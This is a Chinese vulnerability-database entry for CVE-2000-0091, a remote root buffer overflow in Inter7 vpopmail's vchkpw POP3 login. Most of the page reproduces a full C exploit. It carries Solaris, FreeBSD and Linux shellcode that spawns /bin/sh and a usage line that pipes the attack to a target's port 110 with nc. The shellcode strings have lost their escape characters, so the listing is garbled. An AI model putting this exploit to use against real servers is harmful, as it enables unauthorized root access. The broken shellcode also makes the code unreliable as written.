Inter7 vpopmail (vchkpw)缓冲区溢出漏洞

Inter7 vpopmail (vchkpw)缓冲区溢出漏洞

漏洞ID 1105690 漏洞类型 缓冲区溢出
发布时间 2000-01-21 更新时间 2005-05-02
图片[1]-Inter7 vpopmail (vchkpw)缓冲区溢出漏洞-安全小百科CVE编号 CVE-2000-0091
图片[2]-Inter7 vpopmail (vchkpw)缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200001-052
漏洞平台 Linux CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/19727
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200001-052
|漏洞详情
vchkpw/vpopmailPOP认证包存在缓冲区溢出漏洞。远程攻击者借助超长用户名或密码可以提升根特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/942/info


Vpopmail (vchkpw) is free GPL software package built to help manage virtual domains and non /etc/passwd email accounts on Qmail mail servers. This package is developed by Inter7 (Referenced in the 'Credit' section) and is not shipped, maintained or supported by the main Qmail distribution.

Certain versions of this software are vulnerable to a remote buffer overflow attack in the password authentication of vpopmail. 

/*
   qmail-qpop3d-vchkpw.c (v.3)
   by: K2,
      
   The inter7 supported vchkpw/vpopmail package (replacement for chkeckpasswd)
   has big problems ;)

   gcc -o vpop qmail-pop3d-vchkpw.c [-DBSD|-DSX86]
   ( ./vpop [offset] [alignment] ; cat ) | nc target.com 110   

   play with the alignment to get it to A) crash B) work. 
   qmail-pop3d/vchkpw remote exploit. (Sol/x86,linux/x86,Fbsd/x86) for now.
   Tested agenst: linux-2.2.1[34], FreeBSD 3.[34]-RELEASE
   vpopmail-3.4.10a/vpopmail-3.4.11[b-e]

   Hi plaguez.
   prop's to Interrupt for testing with bsd, _eixon an others ;)
   cheez shell's :)
   THX goes out to STARBUCKS*!($#!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SIZE   260
#define NOP    0x90
#ifdef SX86
#define DEFOFF 0x8047cfc
#define NOPDEF 75
#elif BSD
#define DEFOFF 0xbfbfdbbf
#define NOPDEF 81
#else
#define DEFOFF 0xbffffcd8
#define NOPDEF 81
#endif 

char *shell = 
#ifdef SX86 // Solaris IA32 shellcode, cheez
"xebx48x9axffxffxffxffx07xffxc3x5ex31xc0x89x46xb4"
"x88x46xb9x88x46x07x89x46x0cx31xc0x50xb0x8dxe8xdf"
"xffxffxffx83xc4x04x31xc0x50xb0x17xe8xd2xffxffxff"
"x83xc4x04x31xc0x50x8dx5ex08x53x8dx1ex89x5ex08x53"
"xb0x3bxe8xbbxffxffxffx83xc4x0cxe8xbbxffxffxffx2f"
"x62x69x6ex2fx73x68xffxffxffxffxffxffxffxffxff"; 
#elif BSD // fBSD shellcode, [email protected]                                 
"xebx35x5ex59x33xc0x89x46xf5x83xc8x07x66x89x46xf9"
"x8dx1ex89x5ex0bx33xd2x52x89x56x07x89x56x0fx8dx46"
"x0bx50x8dx06x50xb8x7bx56x34x12x35x40x56x34x12x51"
"x9a>:)(:<xe8xc6xffxffxff/bin/sh";
#else // Linux shellcode, no idea
"xebx22x5ex89xf3x89xf7x83xc7x07x31xc0xaa"
"x89xf9x89xf0xabx89xfax31xc0xabxb0x08x04"
"x03xcdx80x31xdbx89xd8x40xcdx80xe8xd9xff"
"xffxff/bin/shxff";
#endif

int main(int argc, char **argv)
{
   int i=0,esp=0,offset=0,nop=NOPDEF;
   char buffer[SIZE];

   if (argc > 1) offset += strtol(argv[1], NULL, 0);
   if (argc > 2) nop += strtol(argv[2], NULL, 0);

   esp = DEFOFF;
   
   memset(buffer, NOP, SIZE);
   memcpy(buffer+nop, shell, strlen(shell));
   for (i = (nop+strlen(shell)+1); i < SIZE; i += 4) {
      *((int *) &buffer[i]) = esp+offset;
   }
   
   printf("user %sn",buffer);
   printf("pass ADMR0X&*!(#&*(!n");

   fprintf(stderr,"nbuflen = %d, nops = %d, target = 0x%xnn",strlen(buffer),nop,esp+offset);
   return(0);
}
|参考资料

来源:www.inter7.com
链接:http://www.inter7.com/vpopmail/ChangeLog
来源:www.inter7.com
链接:http://www.inter7.com/vpopmail/
来源:BID
名称:942
链接:http://www.securityfocus.com/bid/942

相关推荐: Dino’s Webserver Directory Traversal Vulnerability

Dino’s Webserver Directory Traversal Vulnerability 漏洞ID 1102557 漏洞类型 Input Validation Error 发布时间 2002-01-09 更新时间 2002-01-09 CVE编号 …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享